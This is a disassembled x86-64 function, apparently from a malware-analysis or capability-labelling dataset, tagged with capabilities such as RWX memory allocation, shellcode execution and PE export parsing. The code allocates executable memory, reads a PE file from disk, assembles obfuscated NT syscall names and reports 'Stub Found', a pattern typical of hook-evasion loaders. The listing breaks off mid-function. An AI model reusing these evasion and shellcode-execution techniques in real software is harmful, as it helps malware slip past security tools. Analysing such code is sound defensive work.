Function at 0x3a4da3013
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
mov eax, 0x3238
call fcn.3a4db4600
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.3a4db3950
call fcn.3a4da1537
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x3184], eax
mov eax, dword [rbp + 0x3184]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3178], rax
mov rax, qword [rbp + 0x3178]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x3170], rax
mov rax, qword [rbp + 0x3170]
add rax, 0x17
mov qword [rbp + 0x3168], rax
mov rax, qword [rbp + 0x3168]
add rax, 0x17
mov qword [rbp + 0x3160], rax
mov rax, qword [rbp + 0x3160]
add rax, 0x17
mov qword [rbp + 0x3158], rax
mov rax, qword [rbp + 0x3158]
add rax, 0x17
mov qword [rbp + 0x3150], rax
mov rax, qword [rbp + 0x3150]
add rax, 0x17
mov qword [rbp + 0x3148], rax
mov rax, qword [rbp + 0x3148]
add rax, 0x17
mov qword [rbp + 0x3140], rax
mov rax, qword [rbp + 0x3140]
add rax, 0x17
mov qword [rbp + 0x3138], rax
mov rax, qword [rbp + 0x3138]
add rax, 0x17
mov qword [rbp + 0x3130], rax
mov rax, qword [rbp + 0x3130]
add rax, 0x17
mov qword [rbp + 0x3128], rax
mov rax, qword [rbp + 0x3128]
add rax, 0x17
mov qword [rbp + 0x3120], rax
mov rax, qword [rbp + 0x3120]
add rax, 0x17
mov qword [rbp + 0x3118], rax
mov rax, qword [rbp + 0x3118]
add rax, 0x17
mov qword [rbp + 0x3110], rax
mov rax, qword [rbp + 0x3110]
add rax, 0x17
mov qword [rbp + 0x3108], rax
mov rax, qword [rbp + 0x3108]
add rax, 0x17
mov qword [rbp + 0x3100], rax
mov rax, qword [rbp + 0x3100]
add rax, 0x17
mov qword [rbp + 0x30f8], rax
mov rax, qword [rbp + 0x30f8]
add rax, 0x17
mov qword [rbp + 0x30f0], rax
mov rax, qword [rbp + 0x30f0]
add rax, 0x17
mov qword [rbp + 0x30e8], rax
mov dword [rbp + 0x12c], 0
mov qword [rbp + 0x30e0], 0
mov dword [rbp + 0x30dc], 0
mov dword [rbp + 0x128], 0
mov qword [rbp + 0x30d0], 0
mov rax, qword [rbp + 0x3170]
mov qword [0x3a4e8e028], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3170]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3168]
mov qword [0x3a4e8e030], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3168]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3160]
mov qword [0x3a4e8e038], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3160]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3158]
mov qword [0x3a4e8e040], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3158]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3150]
mov qword [0x3a4e8e048], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3150]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3148]
mov qword [0x3a4e8e050], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3148]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3140]
mov qword [0x3a4e8e058], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3140]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3138]
mov qword [0x3a4e8e060], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3138]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3130]
mov qword [0x3a4e8e068], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3130]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3128]
mov qword [0x3a4e8e070], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3128]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3120]
mov qword [0x3a4e8e078], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3120]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3118]
mov qword [0x3a4e8e080], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3118]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3110]
mov qword [0x3a4e8e088], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3110]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3108]
mov qword [0x3a4e8e090], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3108]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3100]
mov qword [0x3a4e8e098], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3100]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x30f8]
mov qword [0x3a4e8e0a0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x30f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x30f0]
mov qword [0x3a4e8e0a8], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x30f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x30e8]
mov qword [0x3a4e8e0b0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x30e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x3a4e62334]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x30e0], rax
mov rax, qword [rbp + 0x30e0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x30dc], eax
mov ebx, dword [rbp + 0x30dc]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x30d0], rax
lea r8, [rbp + 0x128]
mov ecx, dword [rbp + 0x30dc]
mov rdx, qword [rbp + 0x30d0]
mov rax, qword [rbp + 0x30e0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x30d0]
mov qword [rbp + 0x30c8], rax
mov rax, qword [rbp + 0x30c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x30d0]
add rax, rdx
mov qword [rbp + 0x30c0], rax
mov rax, qword [rbp + 0x30c0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x30bc], eax
mov rax, qword [rbp + 0x30c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x30c0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x31a8], rax
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x30b0], rax
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x31a0], rax
mov dword [rbp + 0x319c], 0
jmp 0x3a4da3750
mov rax, qword [rbp + 0x31a8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x3a4da3741
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x31a0], rax
jmp 0x3a4da3766
add qword [rbp + 0x31a8], 0x28
add dword [rbp + 0x319c], 1
mov rax, qword [rbp + 0x30c0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x319c], eax
jl 0x3a4da3717
mov edx, dword [rbp + 0x30bc]
mov rax, qword [rbp + 0x30d0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x31a0]
mov rdx, rax
call fcn.3a4da13d0
mov qword [rbp + 0x30a8], rax
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x3ff]
lea rax, [rbp + 0x3d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x3a4e6235d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x330]
lea rdx, [rbp + 0x350]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x310]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea r8, [0x3a4e62369]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x270]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x230]
lea rdx, [rbp + 0x250]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, [0x3a4e62371]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x190]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x170]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x130]
lea rdx, [rbp + 0x150]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x130]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x230]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x250]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x310]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x400]
mov rcx, qword [rbp + 0x3170]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da3c0c
lea rbx, [0x3a4e62377]
jmp 0x3a4da3c13
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x6af]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x6af]
lea rax, [rbp + 0x680]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x600]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5e0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x5a0]
lea rdx, [rbp + 0x5c0]
lea r8, [0x3a4e62369]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x580]
lea rdx, [rbp + 0x5a0]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x560]
lea rdx, [rbp + 0x580]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x540]
lea rdx, [rbp + 0x560]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x520]
lea rdx, [rbp + 0x540]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x4e0]
lea rdx, [rbp + 0x500]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x4c0]
lea rdx, [rbp + 0x4e0]
lea r8, [0x3a4e62371]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x440]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x540]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x560]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x580]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x5a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x5c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x6af]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x6b0]
mov rcx, qword [rbp + 0x3168]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da4057
lea rbx, [0x3a4e62377]
jmp 0x3a4da405e
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x99f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x99f]
lea rax, [rbp + 0x970]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x3a4e62397]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x8d0]
lea rdx, [rbp + 0x8f0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x870]
lea rdx, [rbp + 0x890]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
lea r8, [0x3a4e62369]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x810]
lea rdx, [rbp + 0x830]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x7f0]
lea rdx, [rbp + 0x810]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b0]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x3a4e62371]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x770]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x6f0]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x6d0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x770]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x790]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x7b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x7d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x7f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x810]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x830]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x850]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x870]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x890]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x8b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x99f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x9a0]
mov rcx, qword [rbp + 0x3160]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da44fa
lea rbx, [0x3a4e62377]
jmp 0x3a4da4501
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0xbcf]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0xbcf]
lea rax, [rbp + 0xba0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x3a4e62399]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xb20]
lea rdx, [rbp + 0xb40]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xb00]
lea rdx, [rbp + 0xb20]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xae0]
lea rdx, [rbp + 0xb00]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xac0]
lea rdx, [rbp + 0xae0]
